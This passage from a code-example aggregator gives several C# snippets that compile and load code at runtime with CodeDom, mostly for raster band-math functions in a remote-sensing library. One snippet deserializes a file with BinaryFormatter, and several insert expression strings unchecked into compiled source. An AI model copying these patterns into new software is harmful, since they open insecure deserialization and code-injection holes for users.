            System.Text.StringBuilder sb = new System.Text.StringBuilder();
            foreach (System.CodeDom.Compiler.CompilerError ce in cr.Errors)
            {
                sb.Append(ce.ToString());
                sb.Append(System.Environment.NewLine);
            }
            throw new Exception(sb.ToString());
        }
        System.Reflection.Assembly assembly = cr.CompiledAssembly;
        Type   t   = assembly.GetType(@namespace + "." + classname, true, true);
        object obj = Activator.CreateInstance(t);

        System.Reflection.MethodInfo mi = t.GetMethod(methodname);
        return(mi.Invoke(obj, args));
    }
コード例 #54
0
        internal override void GetPreservedAttributes(PreservationFileReader pfr)
        {
            base.GetPreservedAttributes(pfr);
            string attribute = pfr.GetAttribute("CCUpreservationFileName");

            using (FileStream stream = File.Open(Path.Combine(HttpRuntime.CodegenDirInternal, attribute), FileMode.Open))
            {
                BinaryFormatter formatter = new BinaryFormatter();
                this._codeCompileUnit     = formatter.Deserialize(stream) as System.CodeDom.CodeCompileUnit;
                this._codeDomProviderType = (Type)formatter.Deserialize(stream);
                this._compilerParameters  = (System.CodeDom.Compiler.CompilerParameters)formatter.Deserialize(stream);
                this._linePragmasTable    = formatter.Deserialize(stream) as IDictionary;
            }
        }
コード例 #55
0
        public static IFeatureComputeFuncProvider <TDataType, TFeature> CreateFeatureComputeFuncProvider <TDataType, TFeature>(int[] visitBandNos, string express, IArgumentProvider argProvider)
        {
            StringBuilder sb = new StringBuilder();

            sb.AppendLine("public Func<int, %DataType%[], %Feature%> GetComputeFunc()");
            sb.AppendLine("{");
            sb.AppendLine(" return (idx, values) => { return " + GetFuncString(visitBandNos, express, "values[{0}]", argProvider) + ";};");
            sb.AppendLine("}");
            string s    = sb.ToString();
            string code = TemplateCode.FeatureComputeFuncTemplate;

            code = code.Replace("%Func%", s);
            code = code.Replace("%DataType%", typeof(TDataType).ToString());
            code = code.Replace("%Feature%", typeof(TFeature).ToString());
            Microsoft.CSharp.CSharpCodeProvider        cp   = new Microsoft.CSharp.CSharpCodeProvider();
            System.CodeDom.Compiler.CompilerParameters cpar = new System.CodeDom.Compiler.CompilerParameters();
            cpar.GenerateInMemory   = true;
            cpar.GenerateExecutable = false;
            cpar.ReferencedAssemblies.Add("System.dll");
            cpar.ReferencedAssemblies.Add(AppDomain.CurrentDomain.BaseDirectory + "GeoDo.RSS.MIF.Core.dll");
            System.CodeDom.Compiler.CompilerResults cr = cp.CompileAssemblyFromSource(cpar, code);
            StringBuilder errorMessages = new StringBuilder();

            foreach (System.CodeDom.Compiler.CompilerError ce in cr.Errors)
            {
                errorMessages.AppendLine(ce.ErrorText + "行号:" + ce.Line + "列号:" + ce.Column);
            }
            if (cr.Errors.Count == 0 && cr.CompiledAssembly != null)
            {
                Type ObjType = cr.CompiledAssembly.GetType("GeoDo.RSS.MIF.Core.FuncBuilder");
                try
                {
                    if (ObjType != null)
                    {
                        object obj = Activator.CreateInstance(ObjType);
                        return(obj as IFeatureComputeFuncProvider <TDataType, TFeature>);
                    }
                }
                catch (Exception ex)
                {
                    errorMessages.Append(ex.Message);
                }
            }
            if (errorMessages != null && errorMessages.Length > 0)
            {
                throw new Exception(errorMessages.ToString());
            }
            return(null);
        }
コード例 #56
0
        public static IPixelValuesOperator <T> GeneratePixelValuesOperator <T>(string express, out int[] bandNos)
        {
            StringBuilder sb = new StringBuilder();

            sb.AppendLine("public Func<%DataType%[], float> GetOperatorFunc()");
            sb.AppendLine("{");
            sb.AppendLine(" return (values) => { return " + GetOperatorString(express, out bandNos) + ";};");
            sb.AppendLine("}");
            string s    = sb.ToString();
            string code = TemplateCode.FuncTemplate;

            code = code.Replace("%Func%", s);
            code = code.Replace("%DataType%", typeof(T).ToString());
            Microsoft.CSharp.CSharpCodeProvider        cp   = new Microsoft.CSharp.CSharpCodeProvider();
            System.CodeDom.Compiler.CompilerParameters cpar = new System.CodeDom.Compiler.CompilerParameters();
            cpar.GenerateInMemory   = true;
            cpar.GenerateExecutable = false;
            cpar.ReferencedAssemblies.Add("System.dll");
            cpar.ReferencedAssemblies.Add(AppDomain.CurrentDomain.BaseDirectory + "GeoDo.RSS.RasterTools.dll");
            System.CodeDom.Compiler.CompilerResults cr = cp.CompileAssemblyFromSource(cpar, code);
            StringBuilder errorMessages = new StringBuilder();

            foreach (System.CodeDom.Compiler.CompilerError ce in cr.Errors)
            {
                errorMessages.AppendLine(ce.ErrorText + "行号:" + ce.Line + "列号:" + ce.Column);
            }
            if (cr.Errors.Count == 0 && cr.CompiledAssembly != null)
            {
                Type ObjType = cr.CompiledAssembly.GetType("GeoDo.RSS.RasterTools.OperatorBuilder");
                try
                {
                    if (ObjType != null)
                    {
                        object obj = Activator.CreateInstance(ObjType);
                        return(obj as IPixelValuesOperator <T>);
                    }
                }
                catch (Exception ex)
                {
                    errorMessages.Append(ex.Message);
                }
            }
            if (errorMessages != null && errorMessages.Length > 0)
            {
                throw new Exception(errorMessages.ToString());
            }
            return(null);
        }
コード例 #57
0
        /// <summary>
        /// compiles a template into an assembly
        /// </summary>
        /// <param name="assemblies">the assemblies to refernce</param>
        /// <param name="namespaces">the namespaces to add to the compiled template</param>
        /// <param name="parameternames">the names of the parameters to be declared in the assembly (these can be used inside the template)</param>
        /// <returns>the comiled assembly</returns>
        public void Compile(string[] assemblies, string[] namespaces, TemplateParameters parameters)
        {
            Assemblies = assemblies;
            Namespaces = namespaces;
            Parameters = parameters;

            Sections = Parser.ParsePage(Page);

            CodeDomProvider provider = new Microsoft.CSharp.CSharpCodeProvider();

            System.CodeDom.Compiler.CompilerParameters compilerparams = new System.CodeDom.Compiler.CompilerParameters();
            compilerparams.GenerateInMemory   = true;
            compilerparams.GenerateExecutable = false;

            // setup references assemblies
            if (assemblies != null)
            {
                foreach (string assembly in assemblies)
                {
                    compilerparams.ReferencedAssemblies.Add(assembly);
                }
            }


            foreach (Section s in Sections)
            {
                if (s.Type == SectionType.Directive)
                {
                    if (s.Values.Directive.ToLower() == "assembly")
                    {
                        string assembly;
                        if (s.Values.TryGetValue("name", out assembly))
                        {
                            compilerparams.ReferencedAssemblies.Add(assembly + ".dll");
                        }
                    }
                }
            }


            string source = Sections.ExtractSource(namespaces, parameters);

            if (source.Length > 0)
            {
                Result = provider.CompileAssemblyFromSource(compilerparams, new string[] { source });
                Console.WriteLine(source);
            }
        }
コード例 #58
0
        public static Assembly CompileWithProvider(CodeDomProvider provider, params string[] input)
        {
            var param  = new System.CodeDom.Compiler.CompilerParameters();
            var result = provider.CompileAssemblyFromSource(param, input);

            foreach (var e in result.Errors)
            {
                Console.WriteLine("Error occured during compilation {0}", e.ToString());
            }
            if (result.Errors.Count > 0)
            {
                return(null);
            }
            else
            {
                return(result.CompiledAssembly);
            }
        }
コード例 #59
0
    // Use this for initialization
    void Start()
    {
        //Setup compiler
        CSharpCompiler.CodeCompiler compiler = new CSharpCompiler.CodeCompiler();
        System.CodeDom.Compiler.CompilerParameters options = new System.CodeDom.Compiler.CompilerParameters();
        options.GenerateExecutable = false;
        options.GenerateInMemory   = true;
        options.OutputAssembly     = "MyAssembly.dll";
        //-- Add ALL assemblies to compiler. This is a security issue as user would have access to System.IO.File to delete data...
        //var domain = System.AppDomain.CurrentDomain;
        //string[] assemblyReferences = domain.GetAssemblies().Select(a => a.Location).ToArray();
        //options.ReferencedAssemblies.AddRange(assemblyReferences);
        //-- Add only some specific assemblies
        options.ReferencedAssemblies.Add("UnityEngine");     //Add UnityEngine assembly
        options.ReferencedAssemblies.Add("Assembly-CSharp"); //Add Assembly which holds all our scripts after build (THIS script is also located in this assembly)

        //Compile
        var result = compiler.CompileAssemblyFromFileBatch(options, new[] {
            Application.streamingAssetsPath + "/BasicExampleScript.cs"
            //Add other scripts here, separated by commas
        });

        //Create instances for all classes we just compiled
        //foreach (var type in result.CompiledAssembly.GetTypes())
        //{
        //    if (typeof(Component).IsAssignableFrom(type)) this.gameObject.AddComponent(type); //If type is a MonoBehaviour, add it to the gameobject
        //    else System.Activator.CreateInstance(type); //Otherwise create a new instance of the class, using the default class constructor
        //}

        //Add specific MonoBehaviour from our compiled scripts
        Type _mb = result.CompiledAssembly.GetType("MyMonoBehaviour");

        this.gameObject.AddComponent(_mb);
        Debug.Log(result.CompiledAssembly.GetName());

        //Create an instance of a specific class
        Type _classType    = result.CompiledAssembly.GetType("SomePublicClass");
        var  classInstance = Activator.CreateInstance(_classType);
        //Since SomePublicClass uses IMyClass interface (see below), we can cast to it :)
        IMyClass myClassInstance = (IMyClass)classInstance;

        myClassInstance.DoSomething();                  //...and call a function defined in IMyClass
        Debug.Log("Sum:" + myClassInstance.Sum(40, 2)); //Another function in SomePublicClass which returns an int
    }
コード例 #60
0
        public static IBandMathExecutor GenerateBandMathExecutor(string srcDataType, string dstDataType)
        {
            string code = TemplateCode.BandMathExecutorTemplate;

            code = code.Replace("%SrcDataType%", srcDataType);
            code = code.Replace("%DstDataType%", dstDataType);
            Microsoft.CSharp.CSharpCodeProvider        cp   = new Microsoft.CSharp.CSharpCodeProvider();
            System.CodeDom.Compiler.CompilerParameters cpar = new System.CodeDom.Compiler.CompilerParameters();
            cpar.GenerateInMemory   = true;
            cpar.GenerateExecutable = false;
            cpar.ReferencedAssemblies.Add("System.dll");
            cpar.ReferencedAssemblies.Add(AppDomain.CurrentDomain.BaseDirectory + "GeoDo.RSS.Core.DF.dll");
            cpar.ReferencedAssemblies.Add(AppDomain.CurrentDomain.BaseDirectory + "GeoDo.RSS.RasterTools.dll");
            System.CodeDom.Compiler.CompilerResults cr = cp.CompileAssemblyFromSource(cpar, code);
            StringBuilder errorMessages = new StringBuilder();

            foreach (System.CodeDom.Compiler.CompilerError ce in cr.Errors)
            {
                errorMessages.AppendLine(ce.ErrorText + "行号:" + ce.Line + "列号:" + ce.Column);
            }
            if (cr.Errors.Count == 0 && cr.CompiledAssembly != null)
            {
                Type ObjType = cr.CompiledAssembly.GetType("GeoDo.RSS.RasterTools.BandMathExecutor");
                try
                {
                    if (ObjType != null)
                    {
                        object obj = Activator.CreateInstance(ObjType);
                        return(obj as IBandMathExecutor);
                    }
                }
                catch (Exception ex)
                {
                    errorMessages.Append(ex.Message);
                }
            }
            if (errorMessages != null && errorMessages.Length > 0)
            {
                throw new Exception(errorMessages.ToString());
            }
            return(null);
        }